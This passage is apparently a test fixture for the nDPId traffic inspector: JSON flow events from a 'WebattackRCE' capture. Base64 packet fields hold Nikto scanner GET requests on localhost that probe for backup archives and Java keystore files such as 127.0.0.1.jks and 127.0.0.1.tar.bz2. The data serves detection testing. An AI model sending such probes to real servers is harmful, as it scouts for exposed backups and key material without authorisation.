+00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":300,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":300,"flow_packet_id":1,"flow_first_seen":1576420277155,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50144,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":301,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":1,"flow_first_seen":1576420277157,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50146,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":301,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":157338,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJ8y5AAEAGSP5\/AAABfwAAAcPiH5D9g8umqBgGFIAYAED+vQAAAQEICp1m\/M2dZvzNR0VUIC8xMjcuMC4wLjEudGFyLmJ6MiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":301,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":1,"flow_first_seen":1576420277157,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50146,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":302,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":1,"flow_first_seen":1576420277159,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50148,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":302,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":159256,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJ4mhAAEAGWcR\/AAABfwAAAcPkH5ACw9rweorXCIAYAED+vQAAAQEICp1m\/M+dZvzPR0VUIC8xMjcuMC4wLjEudGFyLmJ6MiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":302,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":1,"flow_first_seen":1576420277159,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50148,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":303,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":1,"flow_first_seen":1576420277160,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50150,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":303,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":160595,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9m2BAAEAGoNh\/AAABfwAAAcPmH5DB5aPVANERlIAYAED+sQAAAQEICp1m\/NCdZvzQR0VUIC8xLnRhciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":303,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":1,"flow_first_seen":1576420277160,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50150,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":304,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":1,"flow_first_seen":1576420277162,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50152,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":304,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":162081,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9DilAAEAGLhB\/AAABfwAAAcPoH5AB6DautSQRQ4AYAED+sQAAAQEICp1m\/NKdZvzRR0VUIC8xLnRhciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":304,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":1,"flow_first_seen":1576420277162,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50152,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":305,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":305,"flow_packet_id":1,"flow_first_seen":1576420277164,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50154,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":305,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":164141,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFIABAAEAGHDF\/AAABfwAAAcPqH5Cuoid2XcqpP4AYAED+uQAAAQEICp1m\/NSdZvzTR0VUIC8xMjcwMC50YXIuYnoyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":305,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":305,"flow_packet_id":1,"flow_first_seen":1576420277164,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50154,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":306,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":306,"flow_packet_id":1,"flow_first_seen":1576420277165,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50156,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":306,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":165401,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFxNJAAEAGd15\/AAABfwAAAcPsH5ANevxccArVDoAYAED+uQAAAQEICp1m\/NWdZvzVR0VUIC8xMjcwMC50YXIuYnoyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":306,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":306,"flow_packet_id":1,"flow_first_seen":1576420277165,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50156,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":307,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":1,"flow_first_seen":1576420277166,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50158,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":307,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":166545,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFbqBAAEAGzZB\/AAABfwAAAcPuH5Bs\/lYWJw4fzoAYAED+uQAAAQEICp1m\/NadZvzWR0VUIC8xMjcuMC4wLjEuamtzIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":307,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":1,"flow_first_seen":1576420277166,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50158,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":308,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":308,"flow_packet_id":1,"flow_first_seen":1576420277168,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50160,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":308,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":168851,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFNC9AAEAGCAJ\/AAABfwAAAcPwH5DG1AyisQj3YYAYAED+uQAAAQEICp1m\/NidZvzYR0VUIC8xMjcuMC4wLjEuamtzIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":308,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":308,"flow_packet_id":1,"flow_first_seen":1576420277168,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50160,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":309,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":1,"flow_first_seen":1576420277170,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50162,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":309,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":170149,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDKQdAAEAGEyx\/AAABfwAAAcPyH5DtUBGKsAbmZ4AYAED+twAAAQEICp1m\/NqdZvzZR0VUIC8xMjcuMC4wLndhciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":309,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":1,"flow_first_seen":1576420277170,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50162,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":310,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":310,"flow_packet_id":1,"flow_first_seen":1576420277171,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50164,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":310,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":171229,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDFtRAAEAGJV9\/AAABfwAAAcP0H5DIKS5flUY6Y4AYAED+twAAAQEICp1m\/NudZvzbR0VUIC8xMjcuMC4wLndhciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":310,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":310,"flow_packet_id":1,"flow_first_seen":1576420277171,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50164,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":311,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":1,"flow_first_seen":1576420277172,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50166,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":311,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":172681,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBjc9AAEAGrmV\/AAABfwAAAcP2H5CR+bVBDfA+SoAYAED+tQAAAQEICp1m\/NydZvzcR0VUIC8xMjcuMC50Z3ogSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":311,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":1,"flow_first_seen":1576420277172,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50166,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":312,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":1,"flow_first_seen":1576420277173,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50168,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":312,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":173981,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBJThAAEAGFv1\/AAABfwAAAcP4H5BkXx28+RQoaIAYAED+tQAAAQEICp1m\/N2dZvzdR0VUIC8xMjcuMC50Z3ogSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":312,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":1,"flow_first_seen":1576420277173,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50168,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":313,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":313,"flow_packet_id":1,"flow_first_seen":1576420277175,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50170,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 